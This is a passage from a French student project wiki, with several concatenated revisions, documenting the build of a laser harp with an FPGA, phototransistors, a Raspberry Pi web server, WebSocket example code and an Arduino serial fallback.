Les capteurs enverront tous par défaut la même valeur au FPGA. Quand l'utilisateur passera sa main dans la harpe, un faisceau laser sera coupé. Le capteur n'enverra plus sa valeur seuil au FPGA, il aura donc changé d'état.
Dès lors que le FPGA détectera un changement d'état, il enverra l'état dans lequel se trouvent les 8 capteurs au Raspberry.

Nous avons réalisé des tests sur les phototransistors et les lasers. Nous avons mis en parallèle un laser et deux capteurs, sans oublier leur résistance de 1.2k Ohms chacune.

Nous avons vu que à luminosité ambiante, quand le laser pointe sur le capteur, celui-ci envoie à l'Arduino une valeur de 950 environ. Ensuite, quand le faisceau laser est coupé, la valeur envoyée par le phototransistor monte à 1020.
Puis, nous avons réitéré l'expérience en mettant le système dans une boîte. Cette fois, le valeur est passée de 840 quand le capteur est éclairé par le laser à 900 quand le faisceau est coupé.
Nous en avons déduit que nous allons devoir refaire l'expérience une fois la harpe assemblée.

Les lasers étant très directionnels tout comme les phototransistors, nous n'aurons pas de soucis d'interférences. Un capteur détectera uniquement le laser situé directement en face de lui et non ceux de son voisinage.

=== Partie boitier ===

Même si il peut paraitre futile d'insérer une partie boitier dans un projet centré sur l'informatique et l'électronique, il s'est avéré que le boitier de notre Harpe nécessitait une attention particulière.

La taille de la harpe à été un sujet de débat, et nous avons réalisé des tests afin de vérifier que des phototransistors trop proches les uns des autres n'allait pas compromettre le bon fonctionnement de la harpe dans son ensemble. En effet, si le phototransistor détectait un autre laser que celui vers lequel il pointe serait extrêmement problématique. Heureusement, il s'est avéré que les phototransistors sont très directionnels, au point que se pose désormais le problème inverse.

Nous allons devoir faire très attention au fait que les lasers soient bien fixés et pointent exactement vers les phototransistors, car dans le cas contraire, ceux-ci ne détectent absolument pas le laser, et tout le principe de fonctionnement s'effondre. La conception et l'assemblage de la boite devront donc être relativement précis, pour éviter ces problèmes.

Enfin, nous avons dès le départ décidé d'éviter l'utilisation de diodes infra-rouges, pour leur préférer les lasers. Tout d'abord, parce que les diodes ne sont en aucun cas assez puissantes pour être détectées par les phototransistors, ce qui une fois de plus rend notre harpe inutile. Ensuite, parce qu'il nous a semblé que réaliser une harpe 'laser' sans lasers était un concept déconcertant, et enlève beaucoup de l’intérêt de ce projet.

Un premier jet de design avait été réalisé avant cette séance, et au vu des données récoltées pendant celle-ci, nous l'avons modifié pour les prendre en compte, notamment la taille des lasers par rapport aux diodes, et la précision requise.

'insérer photos premiers schémas ici'

=== Partie informatique ===
Le travail a été séparé en 2 parties, une personne par partie :
- une première partie sur le serveur même (page web, système de streaming de son depuis la page web)
- une seconde partie sur la lecture du port série

==== Partie serveur ====
La première séance a été consacré à deux grands axes : prendre la main à distance sur le raspberry pi et mettre en place le serveur web.
Afin de pouvoir contrôler et travailler facilement sur le RPi, l'outil vncserver a été installé sur le raspberry, permettant de contrôler via un interface graphique le RPi depuis un ordinateur branché sur le même réseau. Cet utilitaire permettra a l'avenir de travailler directement sur le RPi sans devoir constamment uploader par ssh le travail effectué.

Coté mise en place du serveur web, l'utilitaire de serveur web apache2 a été installé sans soucis, et les pages d'exemples web et javascript fonctionnent. En revanche, l'utilisation du code d'exemple sur les sockets n'est pas utilisable, le paquet proposé n’existe pas et le site du paquet de socket est mort.
Le reste de la séance a été consacré a des recherches sur les moyens de pouvoir streamer du son, recherches non concluantes. Aucune solution n'a été trouvé sans passer par un service internet hébergé par un tier.

==== Partie lecture port série ====

Cette première séance fut consacrée à la sélection du langage de programmation et à sa prise en main. Il a été décidé d'utiliser Python pour écrire le programme récupérant et traitant les données récupérées à travers le port série. Python étant un langage fort usité, il possède une très large documentation. Ce fut donc facile de trouver la librairie permettant de lire les données envoyées par le port série.

Un doute subsiste encore sur le type de données envoyé par le port série. L'idéal serait de récupérer un tableau de 8 entiers de type binaire correspondant aux états des 8 ports liés aux "cordes" laser, pour pouvoir ensuite traiter ces données facilement.

== Séance 2 ==

=== Partie électronique ===
Lors de cette séance, nous avons réalisé le premier circuit sur le FPGA.

Nous avons commencé par réaliser un circuit simple, qui envoie en permanence l'état des huit phototransistors au port série. Les phototransistors sont alors directement reliés à celui-ci. Nous avons pu tester le bon fonctionnement du système grâce aux diodes du FPGA. Nous avons branché en parallèle sur le circuit les huit diodes, afin de vérifier qu'un signal était bien envoyé en permanence, on a pu les voir s'éteindre lorsqu'on éclairait un laser.
Ces diodes se sont avérées très utiles, car il n'est pas encore possible d'effectuer les tests sur le port série, car la partie informatique n'est pas encore opérationnelle, on ne peut donc pas lire directement sur le port série pour le moment.

'Insérer montage d'envoi constant ici'

Nous avons ensuite réalisé un montage permettant de faire l'envoi seulement sur changement d'état, comme prévu à la séance 1 Nous avons donc réalisé un système de bascules permettant de comparer l'état actuel de chaque diode avec son état précédent, puis de réaliser l'envoi seulement si une différence était observée. Comme précédemment, les diodes sont reliées directement au Port Série, mais cette fois-ci au lieu de brancher le Bit d'envoi du port Série sur un Vcc, soit un '1' logique, nous l'avons relié à la vérification de changement d'état, qui passe à '1' uniquement avec un changement d'état.

'Insérer montage d'envoi sur changement d'état ici'

Le problème qui s'est alors posé était de savoir si on envoyait le signal assez longtemps pour qu'il puisse être lu. En effet on envoie un signal seulement si il y a changement d'état, et cette vérification se fait à chaque incrément d'horloge. Hors, la différence sera donc observée sur un seul incrément d'horloge, par conséquent, on n'envoie de signal que pendant ce seul incrément. Pour l'instant, nous supposons que le port série est capable de stocker les données à envoyer en un seul incrément d'horloge.
Cependant, si lors des tests, ça ne fonctionne pas, nous prévoyons d'utiliser un compteur pour pouvoir envoyer le signal plus longtemps au Bit d'envoi du port série, et ainsi laisser le temps au port série d'envoyer l'information.

=== Partie boitier ===

Pendant cette séance, nous nous sommes focalisés sur le FPGA, mais nous avons néanmoins terminé la conception du boitier de la harpe, sous la forme de trois 'boites' crénelées, que nous avons ensuite l'intention de découper au FabLab puis d'assembler.

'insérer photos des boites ici'

Il s'est avéré que réaliser des boites crénelées rendrait tout le boitier beaucoup plus solide, et donc fiable.

=== Partie informatique ===
Le problème de l'impossibilité d'utiliser l'exemple sur les sockets a été résolu, grâce à l'intervention de M. Redon. Le problème était une différence de version de la distribution Linux entre le RPi utilisé et celle utilisé pour l'exemple. En effet, le RPi de travail est sur une distribution Wheezy, alors que la version la plus récente est la Jessie. Les chemins des dépots des sources de la librairie libwebsocket n’existant pas sur Wheezy, on ne pouvait installer la librairie directement en ligne de commande. M. Redon a ajouté le chemin de la librairie dans le gestionnaire de paquet du RPi et on a pu utiliser sans problèmes la librairie. De plus le site du paquet libwebsocket n'était inaccessible que temporairement.
La séance a été consacré à comprendre le fonctionnement des sockets et comment l'exemple html interagissait avec.

La partie importante du code d'exemple est la suivante :

static int callback_my(
struct libwebsocket_context * this,
struct libwebsocket *wsi,enum libwebsocket_callback_reasons reason,
void *user,void *in,size_t len)
{
static char *message=NULL;
static int msize=0;
switch(reason){
case LWS_CALLBACK_ESTABLISHED:
printf("connection established\n");
message=NULL;
// Declenchement d'un prochain envoi au navigateur
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_RECEIVE:
// Ici sont traites les messages envoyes par le navigateur
printf("received data: %s\n",(char *)in);
message=malloc(len+LWS_SEND_BUFFER_PRE_PADDING+LWS_SEND_BUFFER_POST_PADDING);
if(message==NULL){ perror("callback_my.malloc"); exit(EXIT_FAILURE); }
memcpy(message+LWS_SEND_BUFFER_PRE_PADDING,in,len);
// Declenchement d'un prochain envoi au navigateur
msize=len;
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_SERVER_WRITEABLE:
// Ici sont envoyes les messages au navigateur
if(message!=NULL){
char *out=message+LWS_SEND_BUFFER_PRE_PADDING;
libwebsocket_write(wsi,(unsigned char *)out,msize,LWS_WRITE_TEXT);
free(message);
message=NULL;
}
break;
default:
break;
}
return 0;
}

Il s'agit d'une fonction de callback gérant à la fois la réception et la transmission. On peut remarquer 3 cas du switch : LWS_CALLBACK_ESTABLISHED correspondant à la création d'un lien entre la page web et le serveur websocket à la demande de la page web, LWS_CALLBACK_RECEIVE correspondant aux actions à entreprendre à la réception d'un message provenant du navigateur web, et LWS_CALLBACK_SERVER_WRITEABLE correspondant aux actions afin d'envoyer un message au navigateur.

Coté HTML, on utilise les sockets grâce à ce code suivant :

<blockquote>window.WebSocket=(window.WebSocket||window.MozWebSocket);
var websocket=new WebSocket('ws://127.0.0.1:9000','myprotocol');
websocket.onopen=function(){ $('h1').css('color','green'); };
websocket.onerror=function(){ $('h1').css('color','red'); };
websocket.onmessage=function(message){
console.log(message.data);
$('#messages').append($('<p>',{ text: message.data }));
};
function sendMessage(){
websocket.send($('#message').val());
$('#message').val('');
}</blockquote>

La fonction websocket.onmessage gère le traitement à faire coté client quand le serveur envoie des informations, et la fonction sendMessage permet l'envoie d'information du client vers le serveur.

Pour notre projet, nous avons besoin principalement, dans un premier temps, d'envoyer des informations du serveur vers le client, nous nous sommes donc concentrer à comprendre et modifier les parties du code fourni suivantes : websocket.onmessage coté client et le "case LWS_CALLBACK_SERVER_WRITEABLE:" coté serveur.

Le but des tests était de réussir à faire jouer deux sons différents par le client, avec changement de son imposé par le serveur. HTML5 propose nativement de lire des sons à partir d'une source grâce à une balise audio :

<audio controls="controls" id="mySound">
</audio>

On récupère l'identifiant de cette balise avec

var test1 = document.getElementById("mySound");

afin de pouvoir l'utiliser de n'importe où dans le programme.
On définit la source grâce à

test1.src="sound.mp3";

avec "sound.mp3" le chemin d'accès au fichier son par rapport à l'emplacement du fichier html sur le serveur. Ici, le fichier son sound.mp3 est dans le même dossier que la page index.html.
Enfin, on peut lire le son avec

test1.play();

Le but du projet étant d'émettre en continue le son généré par la harpe, l'objectif ici est soit de générer un fichier de streaming que l'on lit en continue, soit de lire un fichier différent par son possible et on change la valeur de test1.src en fonction du son à lire, soit on lit toujours la même source, mais que l'on modifie à la volée en fonction du son voulu. La première option a été étudiée jusqu'en fin de séance.
Nous n'avons pas réussi à comprendre comment générer un fichier de streaming audio simple, de plus toutes les documentations et exemples trouvés ne concernant qu'un streaming simultanée de son et de vidéo à partir d'une caméra et d'un micro, et nous n'avons pas compris comment adapter ces exemples.

== Séance 3 ==

=== Partie électronique ===

Pendant cette séance, nous avons pu tester l'envoi sur changement d'état, toujours avec les diodes du FPGA.

Nous avons commencé par ajouter une horloge sur le détecteur de changement d'état, afin d'augmenter le nombre d'incréments d'horloge sur lequel il est à '1', et ce dans le but de rendre le clignotement d'un diode visible à l’œil nu.
Ensuite, nous avons relié la sortie du détecteur de changement d'état et des phototransistors par un 'ET' logique, que nous avons ensuite relié aux diodes du FPGA.
De cette façon, si l'on détecte un changement d'état sur un phototransistor, la nouvelle valeur est alors envoyée sur les diodes. Le système a fonctionné (à voir :p ).

'insérer photos du test avec changement d'état ici'

Nous avons ensuite passé le reste de la séance à mettre en commun notre partie avec la partie informatique, en essayant de leur permettre de lire sur le port série du FPGA. Les essais ont pour l'instant été infructueux, mais des progrès ont été faits.

L'objectif étant que le Raspberry Pi puisse lire les informations envoyées par le FPGA, pour ensuite les transmettre au site Web que nous allons réaliser par la suite.

=== Partie informatique ===
Au vu des difficultés rencontrées lors de la mise en place d'un véritable système de streaming, nous avons décider d'étudier les autres options possibles.
Notre deuxième solution était

== Séance supplémentaire 1 : Réalisation du site Web ==

Nous avons réalisé ce site web lors de notre temps libre afin de permettre la communication entre le Raspberry Pi et l'ordinateur. En effet, il était inclus dans notre projet de devoir réaliser une communication par internet. Ce site internet va donc remplir cette condition. Sur celui-ci, on pourra trouver une brève description de notre projet, un lien vers le wiki, une image exemple d'un harpe et les boutons Play et Pause qui permettent d'activer et de désactiver la harpe laser.

== Séance supplémentaire 2 : Réalisation du programme secondaire sur Arduino 'en cas de problèmes' ==

Nous nous sommes réunis à plusieurs occasions en dehors des heures de projet afin d'avancer sur notre harpe. Nous avons donc décidé que nous devions réaliser un programme sur Arduino nous permettant de réaliser des tests de transmission par la liaison série sans avoir besoin du FPGA. Dans un premier temps, nous avons tenté d'utiliser le port USB comme liaison série. Cependant, il s'est avéré que le Raspberry pi ne pouvait pas lire son port USB, ce qui nous a donc forcé à utiliser les pins de communication série de l'Arduino.
Nous sommes sur un Arduino Mega 2560, nous avons a notre disposition plusieurs pins de communication série différents. Ils seront utilisés uniquement en transmission. Pour communiquer, nous allons ensuite utiliser le pin Tx1. Nous aboutissons donc au programme suivant:

[[Fichier:Setup.PNG]]

[[Fichier:Captprog.PNG]]

La communication série de ce programme nous a causé des problèmes, surtout du fait que l'ordinateur ne recevait pas les informations transmises par l'Arduino. Nous avons donc du effectuer de multiples tests afin de voir où se situait le problème. Nous avons pu déterminer que nous avions un problème au niveau de notre pont diviseur de tension entre l'alimentation de l’Arduino et celle du Raspberry Pi, nous avons alors changé les résistances.
Nous avons également notamment modifié le programme afin de vérifier que l'information était bien transmise sur le Pin Série de l'Arduino, et que le problème ne venait donc pas de l'Arduino mais bien du Raspberry, qui ne transmet pas correctement l'information à l'ordinateur.

== Séance supplémentaire 3 : Assemblage de la boite et mise en place des composants ==

== Conclusion ==

Projet IMA3 P5, 2016/2017, TD1

2017-06-12T09:09:23Z

Bcartier : /* Partie informatique */

= Projet IMA3-SC 2016/2017 : Synt'Harpe (Sainte) Laser =

== Cahier des charges ==

=== Description du système ===

Pour le projet Système Communicant, nous allons réaliser une harpe laser. Notre but est de créer un instrument de musique similaire à une harpe, où les cordes sont remplacées par des capteurs infra-rouges.

Un son sera émis par l'ordinateur dès que le capteur IR captera une main et le joueur pourra avec son autre main moduler l'amplitude de la note.

Dans un premier temps, on travaillera sur une gamme de son sur 8 bits. Puis, nous implémenterons une banque de sons qui nous permettra de sélectionner l'instrument désiré, d'où l'appellation Synt'Harpe.

L'ordinateur décidera du fonctionnement ou non de la harpe. C'est aussi grâce à lui qu'on pourra choisir la banque de sons voulue.

Toutes les banques de sons seront enregistrées sur le Raspberry.
Les LEDs signaleront l'emplacement des cordes.

Pour la partie optionnelle, on remplacera les LEDs par des lasers pour un effet visuel de qualité (plus poussé). La fumée permettra de voir les lasers.

=== Le matériel ===
* Un raspberry pi
* 8 phototransistors
* 8 émetteurs lasers
* Des résistances
* Une structure
* Carte d'acquisition de type Arduino au début puis FPGA
* Un ordinateur
* Une alimentation

=== Optionnel (visuel) ===

* 8 émetteurs laser
* Un générateur de fumée
* Une caméra

== Séance 1 ==

=== Partie électronique ===
Le but de cette première séance était de se répartir les tâches, de tester le matériel mit à disposition et de découvrir le fonctionnement du FPGA.

Le principe de fonctionnement de la harpe est le suivant:
Chaque capteur sera situé en face d'un laser. Les capteurs seront dans la partie haute de la harpe afin de limiter les interférences dues à d'autres sources lumineuses. Chaque laser pointera vers un capteur.

* Ajout du dessin de la harpe *

Les capteurs enverront tous par défaut la même valeur au FPGA. Quand l'utilisateur passera sa main dans la harpe, un faisceau laser sera coupé. Le capteur n'enverra plus sa valeur seuil au FPGA, il aura donc changé d'état.
Dès lors que le FPGA détectera un changement d'état, il enverra l'état dans lequel se trouvent les 8 capteurs au Raspberry.

Nous avons réalisé des tests sur les phototransistors et les lasers. Nous avons mis en parallèle un laser et deux capteurs, sans oublier leur résistance de 1.2k Ohms chacune.

Nous avons vu que à luminosité ambiante, quand le laser pointe sur le capteur, celui-ci envoie à l'Arduino une valeur de 950 environ. Ensuite, quand le faisceau laser est coupé, la valeur envoyée par le phototransistor monte à 1020.
Puis, nous avons réitéré l'expérience en mettant le système dans une boîte. Cette fois, le valeur est passée de 840 quand le capteur est éclairé par le laser à 900 quand le faisceau est coupé.
Nous en avons déduit que nous allons devoir refaire l'expérience une fois la harpe assemblée.

Les lasers étant très directionnels tout comme les phototransistors, nous n'aurons pas de soucis d'interférences. Un capteur détectera uniquement le laser situé directement en face de lui et non ceux de son voisinage.

=== Partie boitier ===

Même si il peut paraitre futile d'insérer une partie boitier dans un projet centré sur l'informatique et l'électronique, il s'est avéré que le boitier de notre Harpe nécessitait une attention particulière.

La taille de la harpe à été un sujet de débat, et nous avons réalisé des tests afin de vérifier que des phototransistors trop proches les uns des autres n'allait pas compromettre le bon fonctionnement de la harpe dans son ensemble. En effet, si le phototransistor détectait un autre laser que celui vers lequel il pointe serait extrêmement problématique. Heureusement, il s'est avéré que les phototransistors sont très directionnels, au point que se pose désormais le problème inverse.

Nous allons devoir faire très attention au fait que les lasers soient bien fixés et pointent exactement vers les phototransistors, car dans le cas contraire, ceux-ci ne détectent absolument pas le laser, et tout le principe de fonctionnement s'effondre. La conception et l'assemblage de la boite devront donc être relativement précis, pour éviter ces problèmes.

Enfin, nous avons dès le départ décidé d'éviter l'utilisation de diodes infra-rouges, pour leur préférer les lasers. Tout d'abord, parce que les diodes ne sont en aucun cas assez puissantes pour être détectées par les phototransistors, ce qui une fois de plus rend notre harpe inutile. Ensuite, parce qu'il nous a semblé que réaliser une harpe 'laser' sans lasers était un concept déconcertant, et enlève beaucoup de l’intérêt de ce projet.

Un premier jet de design avait été réalisé avant cette séance, et au vu des données récoltées pendant celle-ci, nous l'avons modifié pour les prendre en compte, notamment la taille des lasers par rapport aux diodes, et la précision requise.

'insérer photos premiers schémas ici'

=== Partie informatique ===
Le travail a été séparé en 2 parties, une personne par partie :
- une première partie sur le serveur même (page web, système de streaming de son depuis la page web)
- une seconde partie sur la lecture du port série

==== Partie serveur ====
La première séance a été consacré à deux grands axes : prendre la main à distance sur le raspberry pi et mettre en place le serveur web.
Afin de pouvoir contrôler et travailler facilement sur le RPi, l'outil vncserver a été installé sur le raspberry, permettant de contrôler via un interface graphique le RPi depuis un ordinateur branché sur le même réseau. Cet utilitaire permettra a l'avenir de travailler directement sur le RPi sans devoir constamment uploader par ssh le travail effectué.

Coté mise en place du serveur web, l'utilitaire de serveur web apache2 a été installé sans soucis, et les pages d'exemples web et javascript fonctionnent. En revanche, l'utilisation du code d'exemple sur les sockets n'est pas utilisable, le paquet proposé n’existe pas et le site du paquet de socket est mort.
Le reste de la séance a été consacré a des recherches sur les moyens de pouvoir streamer du son, recherches non concluantes. Aucune solution n'a été trouvé sans passer par un service internet hébergé par un tier.

==== Partie lecture port série ====

Cette première séance fut consacrée à la sélection du langage de programmation et à sa prise en main. Il a été décidé d'utiliser Python pour écrire le programme récupérant et traitant les données récupérées à travers le port série. Python étant un langage fort usité, il possède une très large documentation. Ce fut donc facile de trouver la librairie permettant de lire les données envoyées par le port série.

Un doute subsiste encore sur le type de données envoyé par le port série. L'idéal serait de récupérer un tableau de 8 entiers de type binaire correspondant aux états des 8 ports liés aux "cordes" laser, pour pouvoir ensuite traiter ces données facilement.

== Séance 2 ==

=== Partie électronique ===
Lors de cette séance, nous avons réalisé le premier circuit sur le FPGA.

Nous avons commencé par réaliser un circuit simple, qui envoie en permanence l'état des huit phototransistors au port série. Les phototransistors sont alors directement reliés à celui-ci. Nous avons pu tester le bon fonctionnement du système grâce aux diodes du FPGA. Nous avons branché en parallèle sur le circuit les huit diodes, afin de vérifier qu'un signal était bien envoyé en permanence, on a pu les voir s'éteindre lorsqu'on éclairait un laser.
Ces diodes se sont avérées très utiles, car il n'est pas encore possible d'effectuer les tests sur le port série, car la partie informatique n'est pas encore opérationnelle, on ne peut donc pas lire directement sur le port série pour le moment.

'Insérer montage d'envoi constant ici'

Nous avons ensuite réalisé un montage permettant de faire l'envoi seulement sur changement d'état, comme prévu à la séance 1 Nous avons donc réalisé un système de bascules permettant de comparer l'état actuel de chaque diode avec son état précédent, puis de réaliser l'envoi seulement si une différence était observée. Comme précédemment, les diodes sont reliées directement au Port Série, mais cette fois-ci au lieu de brancher le Bit d'envoi du port Série sur un Vcc, soit un '1' logique, nous l'avons relié à la vérification de changement d'état, qui passe à '1' uniquement avec un changement d'état.

'Insérer montage d'envoi sur changement d'état ici'

Le problème qui s'est alors posé était de savoir si on envoyait le signal assez longtemps pour qu'il puisse être lu. En effet on envoie un signal seulement si il y a changement d'état, et cette vérification se fait à chaque incrément d'horloge. Hors, la différence sera donc observée sur un seul incrément d'horloge, par conséquent, on n'envoie de signal que pendant ce seul incrément. Pour l'instant, nous supposons que le port série est capable de stocker les données à envoyer en un seul incrément d'horloge.
Cependant, si lors des tests, ça ne fonctionne pas, nous prévoyons d'utiliser un compteur pour pouvoir envoyer le signal plus longtemps au Bit d'envoi du port série, et ainsi laisser le temps au port série d'envoyer l'information.

=== Partie boitier ===

Pendant cette séance, nous nous sommes focalisés sur le FPGA, mais nous avons néanmoins terminé la conception du boitier de la harpe, sous la forme de trois 'boites' crénelées, que nous avons ensuite l'intention de découper au FabLab puis d'assembler.

'insérer photos des boites ici'

Il s'est avéré que réaliser des boites crénelées rendrait tout le boitier beaucoup plus solide, et donc fiable.

=== Partie informatique ===
Le problème de l'impossibilité d'utiliser l'exemple sur les sockets a été résolu, grâce à l'intervention de M. Redon. Le problème était une différence de version de la distribution Linux entre le RPi utilisé et celle utilisé pour l'exemple. En effet, le RPi de travail est sur une distribution Wheezy, alors que la version la plus récente est la Jessie. Les chemins des dépots des sources de la librairie libwebsocket n’existant pas sur Wheezy, on ne pouvait installer la librairie directement en ligne de commande. M. Redon a ajouté le chemin de la librairie dans le gestionnaire de paquet du RPi et on a pu utiliser sans problèmes la librairie. De plus le site du paquet libwebsocket n'était inaccessible que temporairement.
La séance a été consacré à comprendre le fonctionnement des sockets et comment l'exemple html interagissait avec.

La partie importante du code d'exemple est la suivante :

static int callback_my(
struct libwebsocket_context * this,
struct libwebsocket *wsi,enum libwebsocket_callback_reasons reason,
void *user,void *in,size_t len)
{
static char *message=NULL;
static int msize=0;
switch(reason){
case LWS_CALLBACK_ESTABLISHED:
printf("connection established\n");
message=NULL;
// Declenchement d'un prochain envoi au navigateur
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_RECEIVE:
// Ici sont traites les messages envoyes par le navigateur
printf("received data: %s\n",(char *)in);
message=malloc(len+LWS_SEND_BUFFER_PRE_PADDING+LWS_SEND_BUFFER_POST_PADDING);
if(message==NULL){ perror("callback_my.malloc"); exit(EXIT_FAILURE); }
memcpy(message+LWS_SEND_BUFFER_PRE_PADDING,in,len);
// Declenchement d'un prochain envoi au navigateur
msize=len;
libwebsocket_callback_on_writable(this,wsi);
break;
case LWS_CALLBACK_SERVER_WRITEABLE:
// Ici sont envoyes les messages au navigateur
if(message!=NULL){
char *out=message+LWS_SEND_BUFFER_PRE_PADDING;
libwebsocket_write(wsi,(unsigned char *)out,msize,LWS_WRITE_TEXT);
free(message);
message=NULL;
}
break;
default:
break;
}
return 0;
}

Il s'agit d'une fonction de callback gérant à la fois la réception et la transmission. On peut remarquer 3 cas du switch : LWS_CALLBACK_ESTABLISHED correspondant à la création d'un lien entre la page web et le serveur websocket à la demande de la page web, LWS_CALLBACK_RECEIVE correspondant aux actions à entreprendre à la réception d'un message provenant du navigateur web, et LWS_CALLBACK_SERVER_WRITEABLE correspondant aux actions afin d'envoyer un message au navigateur.

Coté HTML, on utilise les sockets grâce à ce code suivant :

window.WebSocket=(window.WebSocket||window.MozWebSocket);
var websocket=new WebSocket('ws://127.0.0.1:9000','myprotocol');
websocket.onopen=function(){ $('h1').css('color','green'); };
websocket.onerror=function(){ $('h1').css('color','red'); };
websocket.onmessage=function(message){
console.log(message.data);
$('#messages').append($('<p>',{ text: message.data }));
};
function sendMessage(){
websocket.send($('#message').val());
$('#message').val('');
}

La fonction websocket.onmessage gère le traitement à faire coté client quand le serveur envoie des informations, et la fonction sendMessage permet l'envoie d'information du client vers le serveur.

Pour notre projet, nous avons besoin principalement, dans un premier temps, d'envoyer des informations du serveur vers le client, nous nous sommes donc concentrer à comprendre et modifier les parties du code fourni suivantes : websocket.onmessage coté client et le "case LWS_CALLBACK_SERVER_WRITEABLE:" coté serveur.

Le but des tests était de réussir à faire jouer deux sons différents par le client, avec changement de son imposé par le serveur. HTML5 propose nativement de lire des sons à partir d'une source grâce à une balise audio :

<audio controls="controls" id="mySound">
</audio>

On récupère l'identifiant de cette balise avec

var test1 = document.getElementById("mySound");

afin de pouvoir l'utiliser de n'importe où dans le programme.
On définit la source grâce à

test1.src="sound.mp3";

avec "sound.mp3" le chemin d'accès au fichier son par rapport à l'emplacement du fichier html sur le serveur. Ici, le fichier son sound.mp3 est dans le même dossier que la page index.html.
Enfin, on peut lire le son avec

test1.play();

Le but du projet étant d'émettre en continue le son généré par la harpe, l'objectif ici est soit de générer un fichier de streaming que l'on lit en continue, soit de lire un fichier différent par son possible et on change la valeur de test1.src en fonction du son à lire, soit on lit toujours la même source, mais que l'on modifie à la volée en fonction du son voulu. La première option a été étudiée jusqu'en fin de séance.
Nous n'avons pas réussi à comprendre comment générer un fichier de streaming audio simple, de plus toutes les documentations et exemples trouvés ne concernant qu'un streaming simultanée de son et de vidéo à partir d'une caméra et d'un micro, et nous n'avons pas compris comment adapter ces exemples.

== Séance 3 ==

=== Partie électronique ===

Pendant cette séance, nous avons pu tester l'envoi sur changement d'état, toujours avec les diodes du FPGA.

Nous avons commencé par ajouter une horloge sur le détecteur de changement d'état, afin d'augmenter le nombre d'incréments d'horloge sur lequel il est à '1', et ce dans le but de rendre le clignotement d'un diode visible à l’œil nu.
Ensuite, nous avons relié la sortie du détecteur de changement d'état et des phototransistors par un 'ET' logique, que nous avons ensuite relié aux diodes du FPGA.
De cette façon, si l'on détecte un changement d'état sur un phototransistor, la nouvelle valeur est alors envoyée sur les diodes. Le système a fonctionné (à voir :p ).

'insérer photos du test avec changement d'état ici'

Nous avons ensuite passé le reste de la séance à mettre en commun notre partie avec la partie informatique, en essayant de leur permettre de lire sur le port série du FPGA. Les essais ont pour l'instant été infructueux, mais des progrès ont été faits.

L'objectif étant que le Raspberry Pi puisse lire les informations envoyées par le FPGA, pour ensuite les transmettre au site Web que nous allons réaliser par la suite.

=== Partie informatique ===
Au vu des difficultés rencontrées lors de la mise en place d'un véritable système de streaming, nous avons décider d'étudier les autres options possibles.
Notre deuxième solution était

== Séance supplémentaire 1 : Réalisation du site Web ==

Nous avons réalisé ce site web lors de notre temps libre afin de permettre la communication entre le Raspberry Pi et l'ordinateur. En effet, il était inclus dans notre projet de devoir réaliser une communication par internet. Ce site internet va donc remplir cette condition. Sur celui-ci, on pourra trouver une brève description de notre projet, un lien vers le wiki, une image exemple d'un harpe et les boutons Play et Pause qui permettent d'activer et de désactiver la harpe laser.

== Séance supplémentaire 2 : Réalisation du programme secondaire sur Arduino 'en cas de problèmes' ==

Nous nous sommes réunis à plusieurs occasions en dehors des heures de projet afin d'avancer sur notre harpe. Nous avons donc décidé que nous devions réaliser un programme sur Arduino nous permettant de réaliser des tests de transmission par la liaison série sans avoir besoin du FPGA. Dans un premier temps, nous avons tenté d'utiliser le port USB comme liaison série. Cependant, il s'est avéré que le Raspberry pi ne pouvait pas lire son port USB, ce qui nous a donc forcé à utiliser les pins de communication série de l'Arduino.
Nous sommes sur un Arduino Mega 2560, nous avons a notre disposition plusieurs pins de communication série différents. Ils seront utilisés uniquement en transmission. Pour communiquer, nous allons ensuite utiliser le pin Tx1. Nous aboutissons donc au programme suivant:

[[Fichier:Setup.PNG]]

[[Fichier:Captprog.PNG]]

La communication série de ce programme nous a causé des problèmes, surtout du fait que l'ordinateur ne recevait pas les informations transmises par l'Arduino. Nous avons donc du effectuer de multiples tests afin de voir où se situait le problème. Nous avons pu déterminer que nous avions un problème au niveau de notre pont diviseur de tension entre l'alimentation de l’Arduino et celle du Raspberry Pi, nous avons alors changé les résistances.
Nous avons également notamment modifié le programme afin de vérifier que l'information était bien transmise sur le Pin Série de l'Arduino, et que le problème ne venait donc pas de l'Arduino mais bien du Raspberry, qui ne transmet pas correctement l'information à l'ordinateur.

== Séance supplémentaire 3 : Assemblage de la boite et mise en place des composants ==

== Conclusion ==

Projet IMA3 P5, 2016/2017, TD1

2017-06-12T08:53:48Z

Bcartier : /* Partie informatique */

= Projet IMA3-SC 2016/2017 : Synt'Harpe (Sainte) Laser =

== Cahier des charges ==

=== Description du système ===

Pour le projet Système Communicant, nous allons réaliser une harpe laser. Notre but est de créer un instrument de musique similaire à une harpe, où les cordes sont remplacées par des capteurs infra-rouges.

Un son sera émis par l'ordinateur dès que le capteur IR captera une main et le joueur pourra avec son autre main moduler l'amplitude de la note.

Dans un premier temps, on travaillera sur une gamme de son sur 8 bits. Puis, nous implémenterons une banque de sons qui nous permettra de sélectionner l'instrument désiré, d'où l'appellation Synt'Harpe.

L'ordinateur décidera du fonctionnement ou non de la harpe. C'est aussi grâce à lui qu'on pourra choisir la banque de sons voulue.

Toutes les banques de sons seront enregistrées sur le Raspberry.
Les LEDs signaleront l'emplacement des cordes.

Pour la partie optionnelle, on remplacera les LEDs par des lasers pour un effet visuel de qualité (plus poussé). La fumée permettra de voir les lasers.

=== Le matériel ===
* Un raspberry pi
* 8 phototransistors
* 8 émetteurs lasers
* Des résistances
* Une structure
* Carte d'acquisition de type Arduino au début puis FPGA
* Un ordinateur
* Une alimentation

=== Optionnel (visuel) ===

* 8 émetteurs laser
* Un générateur de fumée
* Une caméra

== Séance 1 ==

=== Partie électronique ===
Le but de cette première séance était de se répartir les tâches, de tester le matériel mit à disposition et de découvrir le fonctionnement du FPGA.

Le principe de fonctionnement de la harpe est le suivant:
Chaque capteur sera situé en face d'un laser. Les capteurs seront dans la partie haute de la harpe afin de limiter les interférences dues à d'autres sources lumineuses. Chaque laser pointera vers un capteur.

* Ajout du dessin de la harpe *

Les capteurs enverront tous par défaut la même valeur au FPGA. Quand l'utilisateur passera sa main dans la harpe, un faisceau laser sera coupé. Le capteur n'enverra plus sa valeur seuil au FPGA, il aura donc changé d'état.
Dès lors que le FPGA détectera un changement d'état, il enverra l'état dans lequel se trouvent les 8 capteurs au Raspberry.

